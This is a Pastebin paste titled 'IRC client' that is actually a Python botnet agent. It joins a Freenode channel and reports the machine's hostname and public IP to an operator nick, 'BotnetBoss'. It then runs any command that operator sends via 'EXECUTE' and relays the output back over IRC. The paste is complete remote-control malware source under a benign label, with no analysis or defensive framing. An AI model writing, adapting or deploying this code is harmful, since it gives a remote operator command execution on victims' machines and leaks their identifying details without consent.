JSchmoe

IRC client

Jan 24th, 2016
51
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. import sys
  3. import socket
  4. import string
  5. import subprocess
  6. import ipgetter
  7. import random
  8. from time import sleep
  9.  
  10. HOST="irc.freenode.net"
  11. PORT=6667
  12. N=6
  13. randname = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(N))
  14. NICK=randname
  15. IDENT=randname
  16. REALNAME=randname
  17. readbuffer=""
  18. channel="#nullbyte"
  19.  
  20. s=socket.socket( )
  21.  
  22. def connect():
  23.     s.connect((HOST, PORT))
  24.     s.send("NICK %s\r\n" % NICK)
  25.     s.send("USER %s %s bla :%s\r\n" % (IDENT, HOST, REALNAME))
  26.     while 1:
  27.         global readbuffer
  28.         readbuffer=readbuffer+s.recv(1024)
  29.         temp=string.split(readbuffer, "\n")
  30.         readbuffer=temp.pop( )
  31.         for line in temp:
  32.             line=string.rstrip(line)
  33.             line=string.split(line)
  34.  
  35.             if(line[0]=="PING"):
  36.                 s.send("PONG %s\r\n" % line[1])
  37.                
  38.             elif(line[3]==":+i"):
  39.                 return
  40.                
  41. def listen():
  42.     s.send("JOIN "+channel+"\r\n")
  43.     print("joining chan")
  44.     host = "SWM:"+socket.gethostname()+":"+ipgetter.myip()+"\r\n"
  45.     s.send("PRIVMSG BotnetBoss "+host+"\r\n")
  46.     while 1:
  47.         global readbuffer
  48.         readbuffer=readbuffer+s.recv(1024)
  49.         temp=string.split(readbuffer, "\n")
  50.         readbuffer=temp.pop( )
  51.         for line in temp:
  52.             line=string.rstrip(line)
  53.             line=string.split(line)
  54.             print(line)
  55.             if(line[0]=="PING"):
  56.                 s.send("PONG %s\r\n" % line[1])
  57.            
  58.             elif len(line) > 3:
  59.                 if "BotnetBoss" in line[0] and "EXECUTE" in line[3]:
  60.                     print("Executing stuff")
  61.                     command = []
  62.                     for x in range(4, len(line)):
  63.                         command.append(str(line[x]))
  64.                     reply = ""
  65.                     print(command)
  66.                     try:
  67.                         proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  68.                         output = proc.stdout.read()+proc.stderr.read()
  69.                     except Exception as e:
  70.                         output = "Command failed with error: "+str(e)
  71.                     print("process done")
  72.                     tempo = output.replace('\n','\h')
  73.                     print(output)
  74.                     n = 128
  75.                     reply = [tempo[i:i+n] for i in range(0, len(tempo), n)]
  76.                     for text in reply:
  77.                         print(repr(text))
  78.                         s.sendall("PRIVMSG #nullbyte :"+str(text)+"\r\n")
  79.                         sleep(3.5)
  80.                
  81.                 elif "RESPOND" in line[3]:
  82.                     host = "SWM:"+socket.gethostname()+":"+ipgetter.myip()+"\r\n"
  83.                     s.send("PRIVMSG BotnetBoss "+host+"\r\n")
  84. try:
  85.     connect()
  86.     print("done connecing")
  87.     listen()
  88. except KeyboardInterrupt:
  89.     s.sendall("QUIT\r\n")
RAW Paste Data